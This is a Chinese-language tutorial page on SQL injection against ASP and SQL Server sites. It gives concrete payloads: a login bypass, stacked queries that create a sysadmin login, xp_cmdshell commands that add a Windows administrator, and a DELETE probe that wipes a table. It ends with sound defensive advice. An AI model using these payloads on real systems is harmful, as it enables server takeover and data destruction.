首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL 注入攻擊實戰解析:從 or 1=1 到 xp_cmdshell 奪取系統控制權

     編輯:關於SqlServer

攻擊根源

ASP + SQL Server 架構網站普遍,程式設計師常將使用者輸入直接拼接 SQL 字串,未做參數化或過濾。漏洞非版本相關,無補丁可修,純屬程式碼缺陷。

經典注入向量演進

1. 驗證繞過

-- 原始查詢
SELECT * FROM users WHERE username='input' AND pwd='input'

-- 注入 payload
username: anything
pwd: ' OR '1'='1
-- 產生
SELECT * FROM users WHERE username='anything' AND pwd='' OR '1'='1'
-- 條件永真,繞過登入

2. 執行系統預存程序

利用批次分隔符 ; 串接多陳述式,-- 註解掉後續原始 SQL:

id=2; EXEC sp_addlogin hacker; --
id=2; EXEC master.dbo.sp_addlogin hacker; --
id=2; EXEC master.dbo.sp_password NULL, hacker, hacker; --
id=2; EXEC master.dbo.sp_addsrvrolemember sysadmin, hacker; --

前提:應用使用 sa 或 sysadmin 權限連線資料庫(虛擬主機通常非 sysadmin,故此招常失效)。

3. 命令執行奪取作業系統控制權

id=2; EXEC master.dbo.xp_cmdshell 'net user hacker hacker /add'; --
id=2; EXEC master.dbo.xp_cmdshell 'net localgroup administrators hacker /add'; --

xp_cmdshell 以 SQL Server 服務帳號權限執行作業系統命令。若服務帳號為本地系統管理員,即可完全控制伺服器。

4. 非 sysadmin 權限下的探測

測試注入點:

news.asp?id=117; SELECT 123; --  -- 語法錯誤顯示注入點存在
news.asp?id=117; DELETE FROM news; --  -- 若表名猜中且有權限,資料被刪

即使非 sysadmin,仍可透過 UNION 探測結構、xp_dirtree/xp_fileexist 列舉檔案系統、xp_regread 讀取登錄表等公用擴充程序洩露敏感資訊。

防禦核心對策

  1. 參數化查詢:Command.Parameters.Add / sp_executesql,徹底隔離代碼與資料。
  2. 最小權限原則:應用程式連線帳號僅授予必要資料庫的 SELECT/INSERT/UPDATE/DELETE,嚴禁 sa/sysadmin/db_owner。
  3. 輸入驗證與過濾:白名單驗證(型別、長度、格式),拒絕單引號、分號、雙連字號、關鍵字等。
  4. 錯誤訊息不回顯:生產環境關閉詳細錯誤頁面,避免洩露結構資訊。
  5. 移除/停用危險擴充程序:sp_dropextendedproc 'xp_cmdshell' 等。
  6. WAF/資料庫防火牆:攔截異常 SQL 模式。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved